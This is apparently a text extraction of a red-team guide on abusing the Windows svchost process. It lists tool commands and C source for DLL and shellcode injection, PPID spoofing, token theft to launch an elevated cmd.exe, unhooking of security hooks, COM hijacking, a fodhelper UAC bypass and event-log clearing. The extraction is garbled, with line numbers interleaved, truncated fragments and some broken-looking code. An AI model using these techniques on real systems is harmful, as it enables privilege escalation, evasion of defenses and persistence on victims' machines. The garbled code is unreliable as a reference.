Abuse SVCHost Methods
Abuse SVCHost Methods
exe
Abuse Methods
HADESS WWW.HADESS.IO
RedTeamRecipe
Red Team Recipe for Fun & Profit.
Follow
operating system. It’s a generic host process name for services that run from
dynamic-link libraries (DLLs). Instead of having a unique executable for each
service, Windows uses svchost.exe to host multiple services in a single process.
2. Modularity: By separating services into DLLs, developers can easily write and
update individual services without affecting others.
3. Security and Isolation: Services can be grouped by their isolation and security
requirements. For instance, services that require similar security contexts
can be grouped into a single svchost.exe instance.
Attack Surface
Given its critical role and the fact that it often runs with elevated privileges,
svchost.exe is an attractive target for attackers. Here are some reasons why:
Function
Category Description
Name
Memory VirtualAlloc Allocates memory in the virtual address space of
Memory process.
ReadProcessM Reads data from an area of memory in a specified
emory process.
CreateProces
Process Control Creates a new process and its primary thread.
s
Function
Category Description
Name
OpenProcess Opens an existing local process object.
TerminatePro
Ends a process and all its threads.
cess
x registry key.
RegDeleteVal Removes a named value from the specified
ue registry key.
File Operations CreateFile Creates or opens a file or I/O device.
Reads data from the specified file or input/output
ReadFile
(I/O) device.
Writes data to the specified file or input/output
WriteFile
(I/O) device.
DLL Injection
Injecting a malicious DLL into svchost
1 injector.exe -p svchost.exe -d malicious.dll
https://github.com/monoxgas/sRDI
1 netstat -anob
Process Impersonation
Mimikatz impersonation of svchost
Memory Dump
Dumping svchost memory
1 procdump.exe -ma svchost.exe dumpfile.dmp
https://github.com/boku7/HOLLOW
Process Doppelganging
Using doppelganging technique on svchost
1 doppel.exe svchost.exe malicious.bin
https://github.com/Spajed/processrefund
https://github.com/stephenfewer/ReflectiveDLLInjection
1 hijack.exe svchost.exe
1 ppid_spoof.exe svchost.exe
One way to achieve PPID spoofing is by using the CreateProcess function with the
STARTUPINFOEX structure and PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.
int main() {
1
DWORD targetPID; // The PID of the process you want to spoof as the
2
parent
3
printf("Enter the target PID to spoof as parent: ");
4
scanf("%d", &targetPID);
5
6
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
7
targetPID);
8
if (!hTargetProcess) {
9
printf("Failed to open target process.\n");
10
return 1;
11
}
12
13
SIZE_T size;
14
STARTUPINFOEX siex = { sizeof(siex) };
15
PROCESS_INFORMATION pi;
16
17
// Set up the attribute list for the parent process spoofing
18
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
19
siex.lpAttributeList =
20
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
21
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &size);
22
23
// Set the parent process to the target process
24
UpdateProcThreadAttribute(siex.lpAttributeList, 0,
25
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hTargetProcess, sizeof(HANDLE), NULL,
26
NULL);
27
28
// Create the child process (e.g., svchost.exe)
29
if (!CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL,
30
NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFO)&siex,
31
&pi)) {
32
printf("Failed to create child process.\n");
33
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
34
CloseHandle(hTargetProcess);
35
return 1;
36
}
37
38
// Cleanup
39
CloseHandle(pi.hProcess);
40
CloseHandle(pi.hThread);
41
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
42
CloseHandle(hTargetProcess);
43
return 0;
}
=
Token Manipulation
Manipulating svchost process tokens
1 token_manip.exe svchost.exe
1
int main() {
2
HANDLE hToken, hNewToken, hProcess;
3
DWORD processID;
4
5
// Assuming you've already obtained the PID of svchost.exe or any high-
6
privileged process
7
printf("Enter the PID of the high-privileged process (e.g.,
8
svchost.exe): ");
9
scanf("%d", &processID);
10
11
// Open the target process
12
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processID);
13
if (!hProcess) {
14
printf("Failed to open target process.\n");
15
return 1;
16
}
17
18
// Get the process token
19
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
20
printf("Failed to obtain process token.\n");
21
CloseHandle(hProcess);
22
return 1;
23
}
24
25
// Duplicate the token
26
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
27
SecurityImpersonation, TokenPrimary, &hNewToken)) {
28
printf("Failed to duplicate token.\n");
29
CloseHandle(hToken);
30
CloseHandle(hProcess);
31
return 1;
32
}
33
34
// Use the duplicated token to run a new process with elevated
35
privileges
36
STARTUPINFO si = { sizeof(STARTUPINFO) };
37
PROCESS_INFORMATION pi;
38
if (!CreateProcessWithTokenW(hNewToken, 0,
39
L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
40
printf("Failed to create process with elevated token.\n");
41
CloseHandle(hNewToken);
42
CloseHandle(hToken);
43
CloseHandle(hProcess);
44
return 1;
45
}
46
47
// Cleanup
48
CloseHandle(pi.hProcess);
49
CloseHandle(pi.hThread);
50
CloseHandle(hNewToken);
51
CloseHandle(hToken);
52
CloseHandle(hProcess);
53
return 0;
}
Unhooking
Unhooking svchost from security modules
1 unhook.exe svchost.exe
Unhooking refers to the process of restoring the original bytes of a function that
has been hooked (i.e., its behavior has been altered, often by security software or
malware). By unhooking a function, you can bypass monitoring or other security
mechanisms that rely on these hooks.
#include <windows.h>
#include <stdio.h>
1
2 // This is a simple representation of the first few bytes of the MessageBoxW
3 function
4 // in its original state. This might vary based on the Windows version and
5 updates.
6 unsigned char originalBytes[] = { 0x8B, 0xFF, 0x55, 0x8B, 0xEC };
7
8 int main() {
9 HMODULE hUser32 = GetModuleHandleA("user32.dll");
10 if (!hUser32) {
11 printf("Failed to get handle to user32.dll.\n");
12 return 1;
13 }
14
15 // Get the address of MessageBoxW
16 FARPROC pMessageBoxW = GetProcAddress(hUser32, "MessageBoxW");
17 if (!pMessageBoxW) {
18 printf("Failed to get address of MessageBoxW.\n");
19 return 1;
20 }
21
22 // Change memory protection to allow writing
23 DWORD oldProtect;
24 if (!VirtualProtect(pMessageBoxW, sizeof(originalBytes),
25 PAGE_EXECUTE_READWRITE, &oldProtect)) {
26 printf("Failed to change memory protection.\n");
27 return 1;
28 }
29
30 // Overwrite the beginning of MessageBoxW with the original bytes
31 memcpy(pMessageBoxW, originalBytes, sizeof(originalBytes));
32
33 // Restore the original memory protection
34 VirtualProtect(pMessageBoxW, sizeof(originalBytes), oldProtect,
35 &oldProtect);
36
37 printf("Unhooked MessageBoxW successfully.\n");
38
39 // Test the unhooked function
40 MessageBoxW(NULL, L"Unhooked MessageBox", L"Test", MB_OK);
41
return 0;
}
Code Injection
code_inject.exe svchost.exe
1 reimage.exe svchost.exe
// Cleanup
CloseHandle(hProcess);
return 0;
}
ATOM Bombing
Using ATOM tables to inject code into svchost
1 atom_bomb.exe svchost.exe
https://github.com/BreakingMalwareResearch/atom-bombing
ATOM Bombing is a code injection technique that leverages the global ATOM
table, a feature provided by Windows for storing strings and corresponding
identifiers. An attacker can use the ATOM table to write malicious code and then
force a legitimate process to retrieve and execute it.
1 #include <windows.h>
2 #include <stdio.h>
3
4 int main() {
5 ATOM atom;
6 DWORD processID;
7 HANDLE hProcess;
8 HANDLE hThread;
9 LPVOID remoteBuffer;
10
11 // Sample shellcode for demonstration purposes
12 char shellcode[] = {
13 // ... Your shellcode goes here ...
14 };
15
16 // Register the shellcode in the global ATOM table
17 atom = GlobalAddAtomA(shellcode);
18 if (!atom) {
19 printf("Failed to add shellcode to ATOM table.\n");
20 return 1;
21 }
22
23 // Assuming you've already obtained the PID of svchost.exe
24 printf("Enter the PID of svchost.exe: ");
25 scanf("%d", &processID);
26
27 // Open the target process
28 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
29 if (!hProcess) {
30 printf("Failed to open target process.\n");
31 return 1;
32 }
33
34 // Allocate memory in the target process
35 remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
36 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
37 if (!remoteBuffer) {
38 printf("Failed to allocate memory in target process.\n");
39 CloseHandle(hProcess);
40 return 1;
41 }
42
43 // Force the target process to retrieve the shellcode from the ATOM
44 table
45 if (!SendMessageA(HWND_BROADCAST, WM_GETTEXT, sizeof(shellcode),
46 (LPARAM)remoteBuffer)) {
47 printf("Failed to send message to target process.\n");
48 VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
49 CloseHandle(hProcess);
50 return 1;
51 }
52
53 // Create a remote thread in the target process to execute the shellcode
54 hThread = CreateRemoteThread(hProcess, NULL, 0,
55 (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
56 if (!hThread) {
57 printf("Failed to create remote thread in target process.\n");
58 VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
59 CloseHandle(hProcess);
60 return 1;
61 }
62
63 // Cleanup
64 GlobalDeleteAtom(atom);
CloseHandle(hThread);
65 CloseHandle(hProcess);
66
printf("ATOM Bombing successful.\n");
return 0;
}
1 hookmsg.exe svchost.exe
to set a hook procedure to monitor the system for certain types of messages
before they reach the target window procedure.
#include <windows.h>
1
#include <stdio.h>
2
3
// Global variables
4
HINSTANCE hInstance;
5
HHOOK hHook;
6
7
// Hook procedure
8
LRESULT CALLBACK MessageHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
9
if (nCode >= 0) {
10
// Intercept messages here
11
MSG *msg = (MSG *)lParam;
12
if (msg->message == WM_SOME_MESSAGE) { // Replace WM_SOME_MESSAGE
13
with a real message identifier
14
// Handle or modify the message
15
printf("Intercepted a window message!\n");
16
}
17
}
18
return CallNextHookEx(hHook, nCode, wParam, lParam);
19
}
20
21
BOOL SetHook() {
22
hHook = SetWindowsHookEx(WH_GETMESSAGE, MessageHookProc, hInstance, 0);
23
return (hHook != NULL);
24
}
25
26
BOOL UnsetHook() {
27
return UnhookWindowsHookEx(hHook);
28
}
29
30
int main() {
31
hInstance = GetModuleHandle(NULL);
32
33
if (!SetHook()) {
34
printf("Failed to set hook.\n");
35
return 1;
36
}
37
38
printf("Hook set successfully. Press any key to unhook...\n");
39
getchar();
40
41
if (!UnsetHook()) {
42
printf("Failed to unset hook.\n");
43
return 1;
44
}
45
46
printf("Hook unset successfully.\n");
47
return 0;
48
}
COM Hijacking
Hijacking COM objects to control svchost
1 com_hijack.exe svchost.exe
#include <windows.h>
#include <stdio.h>
1
2 // CLSID of a legitimate COM object (for demonstration purposes only)
3 // You should replace this with a real CLSID
4 #define TARGET_CLSID L"{12345678-1234-1234-1234-123456789012}"
5
6 // Path to the malicious DLL that will be invoked instead of the legitimate
7 COM object
8 #define MALICIOUS_DLL_PATH L"C:\\path\\to\\malicious.dll"
9
10 BOOL SetCOMHijack() {
11 HKEY hKey;
12 LONG lResult;
13 WCHAR szKeyPath[256];
14
15 // Construct the registry key path
16 wsprintf(szKeyPath, L"Software\\Classes\\CLSID\\%s\\InprocServer32",
17 TARGET_CLSID);
18
19 // Open or create the registry key
20 lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKeyPath, 0, NULL,
21 REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
22 if (lResult != ERROR_SUCCESS) {
23 return FALSE;
24 }
25
26 // Set the default value to the path of the malicious DLL
27 lResult = RegSetValueEx(hKey, NULL, 0, REG_SZ, (const
28 BYTE*)MALICIOUS_DLL_PATH, (wcslen(MALICIOUS_DLL_PATH) + 1) * sizeof(WCHAR));
29 RegCloseKey(hKey);
30
31 return (lResult == ERROR_SUCCESS);
32 }
33
34 int main() {
35 if (SetCOMHijack()) {
36 printf("COM Hijacking set successfully.\n");
37 } else {
38 printf("Failed to set COM Hijacking.\n");
39 }
return 0;
}
1 dde_attack.exe svchost.exe
1
int main() {
2
// DDE requires a window to be created for message handling
3
HWND hwnd = CreateWindowEx(0, "STATIC", "DDE Command Execution", 0, 0,
4
0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
5
if (!hwnd) {
6
printf("Failed to create window for DDE.\n");
7
return 1;
8
}
9
10
// Initialize DDE
11
UINT uDDEInit = DdeInitialize(NULL, NULL, APPCLASS_STANDARD |
12
APPCMD_CLIENTONLY, 0);
13
if (uDDEInit != DMLERR_NO_ERROR) {
14
printf("Failed to initialize DDE.\n");
15
return 1;
16
}
17
18
// Connect to a DDE service (e.g., Excel)
19
HSZ hszService = DdeCreateStringHandle(uDDEInit, "Excel", CP_WINANSI);
20
HSZ hszTopic = DdeCreateStringHandle(uDDEInit, "System", CP_WINANSI);
21
HCONV hConv = DdeConnect(uDDEInit, hszService, hszTopic, NULL);
22
23
if (!hConv) {
24
printf("Failed to connect to DDE service.\n");
25
DdeUninitialize(uDDEInit);
26
return 1;
27
}
28
29
// Execute a command via DDE (for demonstration purposes, let's open
30
Calculator)
31
HSZ hszCommand = DdeCreateStringHandle(uDDEInit, "[EXEC(\"calc.exe\")]",
32
CP_WINANSI);
33
if (!DdeClientTransaction(NULL, 0, hConv, hszCommand, CF_TEXT,
34
XTYP_EXECUTE, TIMEOUT_ASYNC, NULL)) {
35
printf("Failed to execute DDE command.\n");
36
}
37
38
// Cleanup
39
DdeFreeStringHandle(uDDEInit, hszService);
40
DdeFreeStringHandle(uDDEInit, hszTopic);
41
DdeFreeStringHandle(uDDEInit, hszCommand);
42
DdeDisconnect(hConv);
43
DdeUninitialize(uDDEInit);
44
DestroyWindow(hwnd);
45
return 0;
}
PowerShell Injection
Injecting PowerShell commands via svchost
1 etw_hijack.exe svchost.exe
AppInit_DLLs Injection
Injecting malicious DLLs via AppInit_DLLs registry key
Registry Persistence
Adding persistence via registry to run malicious svchost on startup
Service Hijacking
Creating a malicious service using svchost
1 wevtutil cl System
UAC Bypass
Bypassing UAC to elevate svchost privileges
1 fodhelper.exe
1 int main() {
2 HKEY hKey;
3 char cmd[] = "C:\\Windows\\System32\\cmd.exe"; // Command to be
4 executed with elevated privileges
5
6 // Create a registry key to hijack the fodhelper.exe behavior
7 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\ms-
8 settings\\shell\\open\\command", 0, NULL, REG_OPTION_NON_VOLATILE,
9 KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) {
10 printf("Failed to create registry key.\n");
11 return 1;
12 }
13
14 // Set the default value of the key to the command we want to execute
15 if (RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)cmd, sizeof(cmd)) !=
16 ERROR_SUCCESS) {
17 printf("Failed to set registry value.\n");
18 RegCloseKey(hKey);
19 return 1;
20 }
21
22 // Execute fodhelper.exe, which will now launch our command with
23 elevated privileges
24 system("C:\\Windows\\System32\\fodhelper.exe");
25
26 // Cleanup: Remove the registry key to restore original behavior
27 RegDeleteKey(HKEY_CURRENT_USER, "Software\\Classes\\ms-
28 settings\\shell\\open\\command");
29
printf("UAC bypass attempted using fodhelper.exe.\n");
return 0;
}
1 cscript.exe malicious.vbs